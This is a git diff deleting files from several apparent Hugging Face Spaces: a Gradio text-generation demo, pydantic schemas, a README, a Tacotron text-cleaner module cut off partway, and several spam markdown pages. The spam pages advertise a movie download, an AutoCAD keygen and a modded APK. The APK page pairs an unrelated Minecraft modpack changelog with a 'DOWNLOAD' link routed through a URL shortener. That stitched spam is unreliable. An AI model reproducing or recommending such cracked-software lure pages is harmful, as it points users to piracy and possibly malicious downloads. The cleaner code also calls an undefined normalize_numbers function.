@@ -1,6 +0,0 @@
-import gradio as gr
-from gradio.mix import Parallel
-myfirstvariable='My First Text Generation'
-mylovelysecondvariable='Input text and submit.'
-model2=gr.Interface.load('huggingface/EleutherAI/gpt-neo-1.3B')
-gr.Parallel(model2, title=myfirstvariable, description=mylovelysecondvariable).launch()
\ No newline at end of file
diff --git a/spaces/bioriAsaeru/text-to-voice/21 Survival 12 of Love Movie Download How to Survive the Apocalypse with Your Partner.md b/spaces/bioriAsaeru/text-to-voice/21 Survival 12 of Love Movie Download How to Survive the Apocalypse with Your Partner.md
deleted file mode 100644
index 4a6956a67e4abbf9a39f4bf04ef3664f3722d847..0000000000000000000000000000000000000000
--- a/spaces/bioriAsaeru/text-to-voice/21 Survival 12 of Love Movie Download How to Survive the Apocalypse with Your Partner.md	
+++ /dev/null
@@ -1,6 +0,0 @@
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diff --git a/spaces/bioriAsaeru/text-to-voice/Ga-h61m-ds2 Bios _HOT_ Download.md b/spaces/bioriAsaeru/text-to-voice/Ga-h61m-ds2 Bios _HOT_ Download.md
deleted file mode 100644
index 48ee20fe74c7d4230381443951b9283a5931f161..0000000000000000000000000000000000000000
--- a/spaces/bioriAsaeru/text-to-voice/Ga-h61m-ds2 Bios _HOT_ Download.md	
+++ /dev/null
@@ -1,20 +0,0 @@
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diff --git a/spaces/bioriAsaeru/text-to-voice/HerunterladenAutoCAD Design Suite 2013 Keygen 64 Bits DE BEST.md b/spaces/bioriAsaeru/text-to-voice/HerunterladenAutoCAD Design Suite 2013 Keygen 64 Bits DE BEST.md
deleted file mode 100644
index 686996746af782da7f8264f7f8981497b1b98250..0000000000000000000000000000000000000000
--- a/spaces/bioriAsaeru/text-to-voice/HerunterladenAutoCAD Design Suite 2013 Keygen 64 Bits DE BEST.md	
+++ /dev/null
@@ -1,6 +0,0 @@
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diff --git a/spaces/bioriAsaeru/text-to-voice/I Am Monster Idle Destruction 1.3.1 APK [Mod] [Full] - The Best Monster Simulator Game Ever!.md b/spaces/bioriAsaeru/text-to-voice/I Am Monster Idle Destruction 1.3.1 APK [Mod] [Full] - The Best Monster Simulator Game Ever!.md
deleted file mode 100644
index e734641abdabfec29940dd26f9a1ba7b0879d97f..0000000000000000000000000000000000000000
--- a/spaces/bioriAsaeru/text-to-voice/I Am Monster Idle Destruction 1.3.1 APK [Mod] [Full] - The Best Monster Simulator Game Ever!.md	
+++ /dev/null
@@ -1,5 +0,0 @@
-<br />
-<p>Important Notes:<br />* The modpack has had a complete re-write of all the CraftTweaker Scripts to make our lives easier during development along with easier updates. However in the process some bugs may show from items<br />being staged wrong. Or recipes not working correctly, we have done all the testing we can to ensure this won't happen. But with all development processes things will get past QA. So if you find<br />any problems please report them to our tracker, thanks!<br />* Tomb Many Graves has been removed! So what does this mean for me? Well if you have any graves lying around they are now gone. The change has been done due to the lack of support from other mods<br />in the pack which TMG was not getting all the player items. Leading to item loss and users not playing the pack again. So we have changed to using Corails Tombstone which has the mod support we<br />need, along with some added items which will help the player in the long run. Also for you builders out there, you now have graves to place around your base! We're sorry if you've lost items from<br />the old graves. But this is a major update and we had to make the change now rather than later. We hope you can understand this.<br />* If you get a crash relating to `java.lang.NoSuchFieldError: OpenGL45` your LWJGL is out of date. The needed version is 2.9.4 if your using MultiMC you can change the version in the instance settings.<br />Twitch you should use the Jar Launcher as this will auto use the correct version. Likewise for ATLauncher.<br />* Refined Storage (1.6) has a major change in how the mod works. So please review the changes to see what's broken on your network. There is nothing we can do on the pack side to help with, the possible<br />breakage of your networks/autocrafting etc... So please ensure you read the changelog and understand the changes done by the mod. The modder has put work into upgrading current networks. But expect to find<br />issues! This is your only warning about this. So don't open issues on the tracker about issues. Unless it's an actual bug with the mod!<br />* Viescraft has been updated (which the mod did a refactor) this means that your ships will vanish, along with some items. This is another thing we can't control with mod updates. All we can say is sorry. Feel free to<br />spawn in components to re-make your ships. Note: Ship building changed a bit so please read up on the changes.<br />* ContentTweaker Molten Fiery is now removed (deprecated in 3.0.8)<br />* Astral Sorcery has a new perk system, and as a result the mod will reset your perk experience.<br />* Astral Sorcery rituals may not be active after upgrading. To restart them, simply pick up the crystal from the pedestal and place it back down.<br />* The Compact Machines Advancement ("Project Miniaturization") may have been reset if you currently had the advancement. See -Ages/issues/3594#issuecomment-471080837 for a resolution.<br /> <br />Bug Fixes:<br />* Fixed Betweenland items being repairable in the Cyclic Anvil. As it's not intended from the mod.<br />* Fixed Bronze Tool recipe issue and added Copper Tool recipes (#2802)<br />* Fixed "Broken" tooltip from displaying on the Cyclic swords and Twilight Forest's Glass Sword.<br />* Fixed Cyclic player launcher recipe.<br />* Fixed Bloodwood and Ghostwood planks crafting each others slabs (#3173)<br />* Fixed Steve's Carts Liquid Sensor recipe to fit age 3 (#3152)<br />* Fixed Better With Mod's Bamboo Chimes recipe to be craftable in age 1, and made the Metal Chimes recipe match<br />* Fixed Primal Tech fibre torch to vanilla torch recipe to allow lit fibre torches (#797)<br />* Disabled "pistons move t es" from Quark to prevent crash with Cyclic Redstone Clock (#3110)<br />* Disabled "What is 11?" Easter Egg with Actually Additions (#3140)<br />* Disabled Coal Block to Diamonds in PneumaticCraft config to force it off.<br />* Disabled "Right-Click Places Torch from Hotbar" in ClientTweaks config to fix incompatibility with Tinkers Construct Smelteries (#2892)<br />* Disabled Iridium Singularity (#2985)<br />* Disabled Compressed Zinc (#3168)<br />* Fixed Unrefined Desh not smelting in Mekanism smelters<br />* Blacklisted Tinkers' Tools & Construct's Armory Armor from the Powered Diamond Anvil to prevent some issues. As well, we feel these items<br />should not be repairable anyways using this method. (#2925)<br />* Fix exploit to obtain Mystical Agriculture ores early using oredict conversion machines. (#2840)<br />* Fixed Chisel Temple block recipe giving incorrect recipe output amount. (#2814)<br />* Disabled pickup of the GCPlan spout with the sack of holding.<br />* Fixed custom bedrock not being in the allowed bedrock for Ender Utilities (#3201)<br />* Fixed dye recipes not being removed (some missed ones) and fixed current recipes (#3217)<br />* Fixed Constructs Armory's book not being able to go into bookshelves (#3227)<br />* Fixed jukebox missing recipe (#2905)<br />* Fixed removed dupe processing recipe for Lapis (#3083)<br />* Added missing recipes for some power inputs for MM (#3090)<br />* Fixed inconsistent recipe for VC frame upgrades (#2568)<br />* Fixed raw pigman pelt processing recipe (#2912)<br />* Fixed Content Tweaker ores only working in quartz grindstone (#3147)<br />* Fixed custom Geolosys Ores generating in un-wanted dimensions (#2184)<br />* Added recipes for Priaml cosmetic stones (#1672)<br />* Fixed Pneumaticraft assembly laser recipe to use correct dye.<br />* Added recipes for missing Natura Grass blocks/slabs/stairs (#3310)<br />* Fixed missing recipe for emptying rustic bottles (#2157)<br />* Tweaked staging for rustic slate blocks (#3372)<br />* Fixed conflicting recipes with a diamond apple (#3446)<br />* Fixed Creative advancement trigger being called by two advancements (#3596)<br />* Fixed Compact Machines Advancement ("Project Miniaturization") being in incorrect stage (#3594)<br />* Fix IE excavator not yielding geolosys clusters (#3025)<br /> <br />Enhancements:<br />* Disabled more Cyclic Enhancements not needed for this pack.<br />* Added Ferdiand's Flowers glass blocks to sealable block list for Galacticraft (#2797)<br />* Made ore advancement descriptions uniform and corrected Y values.<br />* Added trade with the FFBH mod to get Corn Seeds.<br />* Fixed inconsistent recipes with Rice and some Bread recipes.<br />* Increased age 3 coal coke torch recipe to make 4 torches instead of 2.<br />* Nerfed Better With Mod's nether coal recipe to make 1 instead of 4.<br />* Fixed remaining recipes using the wrong lead ingot, also hidden the ingot and block in JEI to prevent confusions.<br />* Added Industrial Mill recipes for Bone Meal (#3189)<br />* Added some more ingredients to the CWBH compact module (#2051)<br />* Fixed some FakePlayers not being staged (more will be added as we find them). #progress!<br />* Hid Totemic's netherumbrian pipes, bark stripper, and Primal Tech's water powered saw from JEI<br />* Add recipe to the Industrial Mill to process Low Grade Charcoal to Charcoal (#2843)<br />* Add better bucket recipe via the Hydraulic Press (Age 5) (#2777)<br />* Added recipe for low grade charcoal to the BWM Kiln (#2786)<br />* Added recipe for Sticks from the BWM Saw via Wood Slabs (#2786)<br />* Added more recipes to the Industrial Loom (#2293)<br />* Added Bibliocraft shelf recipe with BWM siding (#1476)<br />* Tweaked the spawn weight for Steppe Wolves (#3315)<br />* Re-Stage water bottle to Stage Two (#1648)<br />* Added recipes to the Squeezer to help Alcohol Production (#2724)<br />* Added more wood items from Natura to OreDict to enforce more barrel compat.<br />* Changed stage advancements to now show regardless of their parent being completed (If you have the age, you can see all advancements)<br />* Tweaked the portal color of the Hunting Dimension Portal<br />* Removed Shoggoth Acid Spit<br />* Disabled Shoggoth item destruction<br />* Decreased the health of Lesser Shoggoths to 50<br />* Decreased the health of Shadow Beasts to 50<br />* Decreased the health of Shadow Creatures to 10<br />* Decreased the health of Shadow Monsters to 35<br />* Increased the spawn chance of meteors<br />* Disabled Galacticraft "Harder Difficulty" & enabled "Quick Game Mode" - This reduces the cost of plates, and in general aims to reduce the grind<br />* Added a Meteoric Iron dust and unified Meteoric Iron<br />* Allow fire sticks to be used as a fire source (for lighting torches, etc)<br />* Removed Meteorite Compass as it was not used for anything (#3517)<br />* Reordered advancement tabs so SevTech advancements are first (in order of stage) followed by the remaining in alphabetical order<br />* Astikoor Wheel & Steve's Carts Wooden Wheel recipes altered slightly<br />* Added Abyssalcraft ritual to get Mooshroom Essence for RF Tools Peaceful Dimlet (#3093)<br />* Increased the chances of finding Shoggoth Lairs<br />* Changed Carbon Wafer to Advanced Wafer in Creative Jetpack recipe<br />* Remove useless Wafers<br />* Add tooltip to Death Compass Singularity to indicate how a Death Compass can be obtained<br />* Add tooltip to Coralium Ore & Pearl (#3591)<br />* Add tooltip to BWM Mill Stone (#3585)<br />* Disable Better Foliage's falling leaves to help improve performance<br />* Add chocolate recipe to Modular Machinery Mixer<br />* Reduce HP of Steppe Wolf by half (25-12.5)<br />* Allow death compasses to be stackable & add a recipe to clear NBT data<br />* Allow NetherEx Basalt Blocks to be obtained by chiseling other basalt blocks<br />* Blacklist Shoggoth Lairs from Twilight Forest<br /> <br />Forge: 14.23.5.2815<br /> <br />Mods Added:<br />* BetterWithLib (1.5)<br /> * Now needed with a BWM update. Yay more libs! >.< <br />* Building Gadgets (26.6)<br />* Corails Tombstone (3.3.2)<br /> * This replaces Tomb Many Graves.<br />* Fast Furnace (1.2.1)<br /> * Caches the last recipe used. Helps with tick time and look up speed etc...<br />* In-Game Wiki<br /> * Needed for the mods which don't have only docs but support IGW.<br />* JustEnoughIDs (1.0.2-26)<br /> * Allows us to add more content #ContentUpdateAnyone?<br />* LibEx (1.0.8)<br /> * Now required by Nether Ex (2.0.0+)<br />* Mekatweaks (1.0.0)<br />* More Overlays (1.14)<br />* Playerbosses (0.1.0)<br />* Proportional Destruction Particles (1.2.4)<br />* Tips (1.0.7)<br /> * JustTheTips replacement<br />* ZenStages (0.4.0-18)<br /> * Allows us to create staging modpacks far easier.<br /> <br />Mods Removed:<br />* CraftStudio API<br />* JustTheTips<br />* NotEnoughItems<br /> * Conflicting more and more with JEI and other utilities<br />* Tomb Many Graves<br /> * This mod was causing more problems than solving. So we have decided to drop the mod in favour of another which has mod support<br /> and active development.<br /> <br />Mod Updates:<br />* A Block of Charcoal (1.2)<br />* AbyssalCraft (1.9.5.2)<br /> * Acid Projectiles no longer break blocks with Tile Entities when hitting Players or other mobs<br /> * Fixed a dupe bug in the Materializer GUI<br /> * Reduced the range of Cha'garoth's melee attacks<br /> * Slowed down the initial velocity of the Acid Projectile, increased the time between each projectile being fired, and made it so baby Lesser Shoggoths won't fire them<br /> * Any NBT checks for crafting recipes and/or rituals are now a lot less strict (the placed item needs to contain the recipe item NBT tags)<br /> * Increased the range of the Corruption, Cleansing and Purging rituals to 8x8 chunks (previously 3x3)<br /> * Lesser Shoggoths now swim faster (and can move against flowing water)<br /> * If two mobs/players/whatevers close to each other both have Dread Plague I, they can infect each other with Dread Plague II<br /> * Lesser Shoggoths now have an AI for monolith construction, which makes the construction happen more frequently<br /> * The purging ritual now only converts biomes that are Dreadlands biomes<br /> * Cha'garoth now opens his mouth during his barf attack (courtesy of Enderman_Of_D00m)<br /> * Fixed the crystallizer recipes for processing Bronze<br /> * J'zahar has been buffed with new attacks (including shouts, earthquakes and conjuring black holes and gravity anomalies)<br /> * The Dreadlands Portal now spawn Dreadlings instead of Dread Spawns<br /> * Energy Containers can now display values over 32767 in their GUIs<br /> * Doubled the time it takes for a Lesser Dreadbeast to spawn a Dread Spawn<br /> * Lesser Shoggoths have a new model<br /> * Lesser Shoggoths are now multipart entities<br />* AbyssalCraft Integration (1.7.0)<br />* Actually Additions (r146)<br /> * Added redstone sensitivity / comparator output to Bio Reactor.<br /> * The farmer will now only plant from seed slots.<br /> * The farmer will now only attempt to plant if the current block can be replaced.<br /> * The crusher is no longer animated when not crushing.<br /> * Fixed the farmer (and other inventories) failing to add items if all items have a stacksize of 1.<br />* Advanced Mortars (1.6.22)<br />* Animalium (0.3.8)<br />* Antique Atlas (4.5.0)<br />* Apple Core (3.2.0)<br />* Applied Energistics 2 (rv6-stable-6)<br />* Aroma Core (2.0.0.2)<br />* Aroma Backup (2.1.1.4)<br />* AstikorCarts (0.1.2.6)<br />* Astral Sorcery (1.10.11)<br />* AutoRegLib (1.3-26)<br />* B.A.S.E (3.12.0)<br />* Better Advancements (0.0.17.75)<br />* Better Foliage (2.2.0)<br />* Better With Addons (0.47-hotfix)<br /> * Changes Lanterns to only extinguish when sneaking while rightclicking.<br /> * Fixes some networking issues in multiplayer when using a writing table<br />* Better With Mods (2.3.20-1027)<br />* BiblioCraft (2.4.5)<br />* Blood Magic (2.4.0-102)<br /> * Fixed Teleposition Sigil not checking for a Teleposer at it's destination<br /> * Fixed Lava Crystal not syphoning LP<br /> * Fixed the Ritual of the Green Grove not working on Cactus and Reeds<br /> * Fixed Mob Sacrifice Array so it no longer kills bosses and players<br /> * Fixed issues with inter-dimensional teleportation<br /> * Fixed the Lava, Water, and Void sigils so they now work properly with tanks<br />* BnBGamingCore (0.10.0)<br />* BnBGamingLib (2.17.5)<br />* Bookshelf (2.3.574)<br />* Bonsai Trees (1.1.2-b144)<br />* BuildCraft (7.99.22)<br />* Caliper (1.1.41)<br />* Car Mod (1.2.12)<br />* CarryOn (1.12.1)<br /> * When a carried object somehow gets out of the hand of the player and gets moved anywhere in the inventory, it gets automatically removed and placed in the world.<br /> * Fixed a bug that could force-close certain GUI's even if the block was blacklisted<br /> * Carry-Key could get stuck when entering through dimensions<br /> * More blocks are now rotated properly when placed down<br />* Caliper (1.1.37)<br />* CD4017BE Lib (6.3.3)<br />* Ceramics (1.3.6)<br />* Chargers (1.2.0.4)<br />* Chisel (0.2.1.35)<br />* Chisel & Bits (14.30)<br /> * Fix a crash when rendering invalid ghost blocks.<br /> * Enhance API to provide collisions and other bounding box information<br /> * Fix performance when placing bits with a ridiculous surplus of extra bits.<br /> * Dye-able bit bags.<br /> * Sort/Combine/Condense Button for Bit Bag.<br /> * Rotate X / Z buttons.<br />* Client Tweaks (3.1.11)<br /> * Removed Hotbar Torch Tweaks<br />* Clumps (3.1.2)<br />* Code Chicken Lib (3.2.2.353)<br />* Coloured Tooltips (1.0.7)<br />* Common Capabilities (2.0.4)<br />* Compact Machines (3.0.15-b249)<br />* Connected Textures Mod (0.3.3.22)<br />* Construct's Armory (1.2.3)<br />* ContentTweaker (4.9.1)<br />* Cooking With Blockheads (6.4.69)<br /> * Added Storage Drawers support<br /> * Only actual drawer blocks are supported, controllers can not be connected.<br /> * Added Heating Unit<br /> * Apply it to an oven (via right-click) to power the oven via Forge Energy compatible mods<br /> * Added rendering of water inside the sink<br /> * Made tool racks and spice racks placeable on non-solid blocks (like glass)<br /> * Fixed crafting of recipes with tools not working when the tool is damaged<br /> * Fixed wrong rock material of the placed cutting board (instead of wood)<br />* CraftTweaker (4.1.14)<br />* Cucumber (1.1.3)<br />* CustomMainMenu (2.0.9)<br />* Cyclic (1.17.16)<br /> * Entity Detector lag busting: it now only scans serverside, and ticks 4 times per second instead of 20 times per second.<br /> * Fixed RF Energy bars in machine GUI's not updating clientside when certain cables/fluxducts/generators would insert energy serverside.<br /> * Forester GUI now has size and height controls.<br /> * Fixed Auto User not gathering drops from certain plants and bushes.<br /> * Fix crash when Block Placer uses some directional blocks.<br /> * Block Placer no longer has a timer bar, it just places when it can.<br />* Cyclops Core (1.0.5)<br />* Dark Utilities (1.8.223)<br />* Default Options (9.2.8)<br />* Despawning Spawners (1.2.0-2)<br />* Dimensional Control (2.10.3)<br />* Dimension Stages (2.0.23)<br />* EmberRootZoo (1.3.10)<br />* Enchantment Descriptions (1.1.13)<br />* Ender Storage (2.4.5.135)<br />* Ender Utilities (0.7.12)<br />* Environmental Tech (2.0.19.1)<br />* Extended Crafting (1.5.2)<br /> * WAILA will now show what's being crafted for the Crafting Core and Quantum Compressor<br /> * Fixed the Automation Interface not working properly with the Ender Crafter<br /> * Fixed the Ender Crafter not saving it's inventory in some cases<br /> * Fixed the Automation Interface not saving the result of an Ender Crafting recipe properly<br />* ExtraPlanets (0.5.0)<br />* Fancy Block Particles (2.4.1)<br />* Farming For Blockheads (3.1.26)<br /> * Remove villager idle noises from merchants because they're so annoying<br />* Farseek (2.3.1)<br />* FastWorkbench (1.6.1)<br />* Ferdinand's Flowers (1.10.4.1)<br />* FindMe (1.1.0-8)<br />* FoamFix (0.10.3)<br /> * Please note that this is the formerly "Anarchy" version; the "Lawful" version is no longer distributed.<br /> * Optimized model deduplication speed, though with the increased number of recursion it won't be noticeable in practice - however, it should lead to more RAM saved.<br /> * Add patch which lowers the expensive "player presence" check for mob spawners from being done every tick to being done every 10 ticks (by default; you can increase or decrease it). The default will be changed to vanilla behaviour if it's proven that it causes a perceptible difference in gameplay, particularly with regards to automation - but it really shouldn't...<br /> * Fix compatibility with ArmorPlus.<br />* Forge Multi Part (2.6.1.81)<br />* ForgeLin (1.7.4)<br />* Galacticraft (4.0.1.181)<br />* Galacticraft Planets (4.0.1.181)<br />* Galacticraft Tweaker (1.0.3)<br />* Game Stages (2.0.112)<br />* Geolosys (2.1.4)<br /> * NEW: Depleting a mineral resource prevents it from showing up with the prospector's pick on the surface<br /> * CHANGED: ProPick and guide book now use depth relative to sea-level instead of just Y level<br /> * FIX: log outputs with the Mineral tracking process; this was causing lots of lag.<br /> * CHANGED: storage method of internal variables to an almost-no-latency method; helps with mineral tracking too.<br />* Guide API (2.1.8-63)<br />* Horse Power (2.6.2.71)<br /> * Fixed rare crash with the error display of the blocks while holding a lead.<br />* Hunting Dimension (1.0.36)<br />* Immersive Craft (1.5.1)<br />* Immersive Engineering (0.12-89)<br /> * Added a "Distribute Inputs" button to the ArcFurnace GUI. It keeps splitting the biggest stacks in the input if there is space available<br />* Improved Backpacks (1.4.0.0)<br />* In Control (3.9.4)<br />* Inductive Logistics (1.3.3)<br />* Industrial Foregoing (1.12.7-231)<br />* Informational Accessories (1.0.11)<br />* Integrated Dynamics (1.0.7)<br /> * Add visual indicator in operator dropdown list on next/prev elements<br /> * Fix simple omnidirectional copy recipe resetting IDs<br /> * Fix variables with operations not updating after chunk reload<br /> * Fix incomplete flipped operators throwing errors<br /> * Add state-type check to display panel TESR this fixes a rare crash where swapping dimensions could cause conflicting part states.<br />* Inventory Tweaks (1.64+dev.146)<br />* Iron Chests (7.0.59.842)<br />* Iron Jetpacks (1.1.0)<br />* Item Stages (2.0.46)<br />* JourneyMap (5.5.4)<br />* JourneyMapStages (2.0.8)<br />* Just Enough Items (4.15.0.268)<br />* KleeSlabs (5.4.11)<br />* Mantle (1.3.3.42)<br />* MTLib (3.0.5)<br />* Mekanism (9.6.0.351)<br />* MicDoodleCore (4.0.1.181)<br />* MicJty Lib (3.1.1)<br />* MJRLegends Lib (1.1.8)<br />* Mob Grinding Utils (0.3.13)<br /> * Changed mob masher to extend kill zone slightly past the block bounds - now exceeds the block by 1 pixel all around - be careful.<br /> * Changed some code with the Fans due to reports of them causing server crashes when broken.<br /> * Fixed overlooked derp that meant Mob Mashers could be broken by Withers and the Dragon - doh!<br /> * Should fix beheading attribute on mobmasher returning null for mobs without heads and crashing people - whoops.<br />* Mob Stages (2.0.13)<br />* Modular Machinery (1.9.6)<br />* Modular Routers (3.2.1)<br /> * Added the Distributor Module, a way to distribute items across multiple target inventories. Can do round-robin, random, nearest-first or furthest-first.<br />* Mod Tweaker (4.0.16)<br />* Morpheus (3.5.106)<br />* MouseTweaks (2.10)<br />* MPBasic Tools (1.4.11)<br />* MPUtils (1.5.7)<br />* MulitBlock Stages (1.1.1)<br />* Mundane Redstone Ore (1.1.4)<br />* Mystical Agradditions (1.3.1)<br />* Mystical Agriculture (1.7.3)<br /> * Fixed a crash involving PneumaticCraft harvest drones<br />* Natura (4.3.2.66)<br />* Neat (1.4-17)<br />* Nether Ex (2.0.8)<br /> * Pigtificate Villages not spawning<br /> * Potion effects from decreasing performance<br /> * Forge population not being triggered<br /> * Features not generating during the correct stages<br /> * A crash caused by the Ghast Queen's Urn position being null<br /> * A crash caused when right-clicking Zombie Pigmen<br />* Not Enough Items (4.2.1.238)<br />* Nutrition (3.5.0)<br />* OpenBlocks Elevator (1.3.8)<br />* Ore Excavation (1.4.137)<br />* Ore Excavation Integration (2.3.4)<br />* Ore Prospector (1.0.2)<br />* Ore Stages (2.0.37)<br />* Overloaded (0.0.53)<br />* PickleTweaks (2.1.1)<br />* PrimalCore (0.6.102)<br /> * Cauldron item storage size has increased, existing cauldrons will need to be picked up and placed again<br /> * Fix Corn worldgen issues<br /> * Fix Worldgen issues<br /> * Tonnes of other changes/fixes. #Content!<br />* Placebo (1.5.1)<br />* PneumaticCraft (0.8.4-303)<br /> * The Omnidirectional Hopper and Liquid Hopper now have comparator support to measure their fullness.<br /> * Logistics Drones now grab as many of the requested item type as can fit in a single item stack, instead of taking simply the first stack from the inventory.<br /> * Fix: items not always transferring in Logistics Network (using tubes & Logistics Modules)<br /> * Fixed drones having their AI overridden by carried entities (Entity Import program piece)<br /> * Fixed possible lockup (endless loop) on startup with drones<br /> * Fixed occasional crashes when teleporting into areas with client-side (TESR) renderers<br /> * Drones will now auto-equip the best (highest damage, taking enchantments into account) weapon in their inventory when entering combat (only applies with upgraded inventories, of course).<br /> * Drones have been taught how to melee 1.9 style. They were still fighting 1.7.10 style, which made them hopeless at melee.<br /> * Fix: server crash if a drone carrying multiple buckets tried to milk a cow. Now the drone will drop any milk buckets that it has no inventory space for on the ground.<br /> * Fix: right clicking a refinery block with a bucket or other fluid container will now extract the right fluid (previously it always tried to extract from the bottom block in the stack, regardless of which block was clicked)<br /> * Pneumatic Door now plays a (suitably pneumatic) opening/closing sound effect.<br /> * Some performance improvement work, particularly around Omni and Liquid Hoppers. In particular, extracting from the Refinery with Liquid Hoppers caused significant FPS drops.<br /> * Liquid Hoppers no longer accept input fluids on their output face, and will no longer output fluids from their input face. (Related to performance improvements mentioned above)<br /> * Reworked 3rd party wrench support: many more wrenches are now supported<br /> * Fixed NPE when using a newly-crafted GPS Area Tool<br /> * Fixed (hopefully) semiblocks rendering leaking across dimensions (semiblocks are logistics frames, heat frames, crop supports, spawner agitators & transfer gadgets)<br />* Prestige (1.1.30)<br />* PrimalCore (0.6.104)<br />* Quantum Storage (4.6.8)<br />* Quark (r1.5-146)<br />* Realistic Item Drops (1.2.14)<br />* Reborn Core (3.13.5.421)<br />* Reborn Storage (3.3.2.79)<br />* Recipe Stages (1.1.1)<br />* Redstone Flux (2.1.0.6)<br />* Refined Storage (1.6.12)<br /> * TLDR: The mod changed a lot and some things are gone/changed. So check your networks/recipes, basically check all your setup! And read the changelog below!<br /> * Changes: -storage/files/2587374 <br />* Refined Storage Addons (0.4.3)<br /> * Removed Network Bag<br /> * Removed Network Picker<br /> * Removed Infinite Wireless Transmitter<br />* RFTools (7.61)<br /> * Support for COFH RF API is removed. Only Forge Energy is supported now<br />* RFTools Control (1.9.3)<br /> * Support for COFH RF API is removed. Only Forge Energy is supported now<br />* Rustic (1.1.0)<br />* Scannable (1.6.3.24)<br />* SevTweaks (0.2.3-20)<br />* Simple Generators (2.0.19.1)<br />* SimpleHarvest (1.2.7-20)<br />* Simple Storage Network (1.5.7)<br />* Smooth Font (1.16.2)<br />* Steve Carts (2.4.29.132)<br />* Storage Drawers (5.3.8)<br />* Super Sound Muffler (1.0.2.10)<br />* Tesla Core Lib (1.0.15.13)<br />* The Beneath (1.5.0)<br />* Together Forever (1.0.11-20)<br />* Translocators (2.5.1.77)<br />* Triumph (3.12.0)<br />* The Betweenlands (3.4.6)<br /> * Fixed water invisible when in Weedwood Rowboat with Galacticraft installed<br /> * Fixed a crash when certain items were rendered in Weedwood Workbench<br /> * Fixed apparent crash when entering the Betweenlands<br /> * Fixed some shader textures uninitialized in first frame when loading world causing a crash with Optifine<br /> * Fixed player mounting Harlequinn Toad when healing with Dragonfly Wings<br /> * Fixed Harlequinn Toad healing causing a null stack crash in a specific situation<br /> * Tonnes of other changes see: -pixel-the-betweenlands-mod/files/2631583 and -pixel-the-betweenlands-mod/files/2635610 <br />* The Twilight Forest (3.8.689)<br />* The Weirding Gadget (2.0.13)<br />* Tinkers Construct (2.12.0.115)<br /> * New Pattern Chest model!<br /> * Patterns/Toolparts can now be rightclicked into chests<br />* Tinker Tool Leveling (1.1.0)<br />* Tinker Stages (2.0.17)<br />* Tinkers Construct (2.10.1.87)<br />* TipTheScales (1.0.3)<br />* To The Bat Poles (1.1.0.1)<br />* Toast Control (1.8.0)<br />* Together Forever (1.0.10-17)<br />* Totemic (0.11.5)<br />* Translocators (2.5.0.73)<br />* Traverse (1.6.0-69)<br />* Triumph (3.13.0)<br />* ValkyrieLib (2.0.19.1)<br />* Viescraft (5.9.13)<br />* WanionLib (2.2)<br />* Wawla (2.5.270)<br />* Wither Skeleton Tweaks (2.6.3)<br />* World Stripper (1.6.0)<br />* XNet (1.7.6)<br /> * Support for COFH RF API is removed. Only Forge Energy is supported now<br />* YNot (0.2.3)</p>
-<h2>I Am Monster: Idle Destruction 1.3.1 APK [Mod] [Full]</h2><br /><p><b><b>DOWNLOAD</b>  <a href="https://urloso.com/2uyPIa">https://urloso.com/2uyPIa</a></b></p><br /><br /> aaccfb2cb3<br />
-<br />
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\ No newline at end of file
diff --git a/spaces/bla/tranny/App/Embedding/Schemas.py b/spaces/bla/tranny/App/Embedding/Schemas.py
deleted file mode 100644
index 937e5bf5c7f67cdda659e60993161772d2ad0560..0000000000000000000000000000000000000000
--- a/spaces/bla/tranny/App/Embedding/Schemas.py
+++ /dev/null
@@ -1,22 +0,0 @@
-from typing import Optional
-from pydantic import BaseModel
-
-
-class BaseRequest(BaseModel):
-    userId: int
-    taskId: str
-    fileName: str
-    youtubeLink: Optional[str]
-    telegramId: Optional[str]
-
-class SearchRequest(BaseModel):
-    # userId: int
-    taskId: str
-    query: str
-    # youtubeLink: Optional[str]
-    # telegramId: Optional[str]
-
-
-
-class GetTranscriptions(BaseModel):
-    userId: int
diff --git a/spaces/bla/tranny/README.md b/spaces/bla/tranny/README.md
deleted file mode 100644
index 49fbd443ca5d0c340eda3916cd4f2a1a1cd2a517..0000000000000000000000000000000000000000
--- a/spaces/bla/tranny/README.md
+++ /dev/null
@@ -1,8 +0,0 @@
----
-title: Basic Docker SDK Space
-emoji: 🐳
-colorFrom: purple
-colorTo: gray
-sdk: docker
-app_port: 7860
----
diff --git a/spaces/bzd4576/sovits-sin/text/cleaners.py b/spaces/bzd4576/sovits-sin/text/cleaners.py
deleted file mode 100644
index 2658f667a7d59ca99a3e16ba0c157d2ab5d795eb..0000000000000000000000000000000000000000
--- a/spaces/bzd4576/sovits-sin/text/cleaners.py
+++ /dev/null
@@ -1,100 +0,0 @@
-""" from https://github.com/keithito/tacotron """
-
-'''
-Cleaners are transformations that run over the input text at both training and eval time.
-
-Cleaners can be selected by passing a comma-delimited list of cleaner names as the "cleaners"
-hyperparameter. Some cleaners are English-specific. You'll typically want to use:
-  1. "english_cleaners" for English text
-  2. "transliteration_cleaners" for non-English text that can be transliterated to ASCII using
-     the Unidecode library (https://pypi.python.org/pypi/Unidecode)
-  3. "basic_cleaners" if you do not want to transliterate (in this case, you should also update
-     the symbols in symbols.py to match your data).
-'''
-
-import re
-from unidecode import unidecode
-from phonemizer import phonemize
-
-
-# Regular expression matching whitespace:
-_whitespace_re = re.compile(r'\s+')
-
-# List of (regular expression, replacement) pairs for abbreviations:
-_abbreviations = [(re.compile('\\b%s\\.' % x[0], re.IGNORECASE), x[1]) for x in [
-  ('mrs', 'misess'),
-  ('mr', 'mister'),
-  ('dr', 'doctor'),
-  ('st', 'saint'),
-  ('co', 'company'),
-  ('jr', 'junior'),
-  ('maj', 'major'),
-  ('gen', 'general'),
-  ('drs', 'doctors'),
-  ('rev', 'reverend'),
-  ('lt', 'lieutenant'),
-  ('hon', 'honorable'),
-  ('sgt', 'sergeant'),
-  ('capt', 'captain'),
-  ('esq', 'esquire'),
-  ('ltd', 'limited'),
-  ('col', 'colonel'),
-  ('ft', 'fort'),
-]]
-
-
-def expand_abbreviations(text):
-  for regex, replacement in _abbreviations:
-    text = re.sub(regex, replacement, text)
-  return text
-
-
-def expand_numbers(text):
-  return normalize_numbers(text)
-
-
-def lowercase(text):
-  return text.lower()
-
-
-def collapse_whitespace(text):
-  return re.sub(_whitespace_re, ' ', text)
-
-
-def convert_to_ascii(text):
-  return unidecode(text)
-
-
-def basic_cleaners(text):
-  '''Basic pipeline that lowercases and collapses whitespace without transliteration.'''
-  text = lowercase(text)
-  text = collapse_whitespace(text)
-  return text
-
-
-def transliteration_cleaners(text):
-  '''Pipeline for non-English text that transliterates to ASCII.'''
-  text = convert_to_ascii(text)
-  text = lowercase(text)
-  text = collapse_whitespace(text)
-  return text
-
-
-def english_cleaners(text):
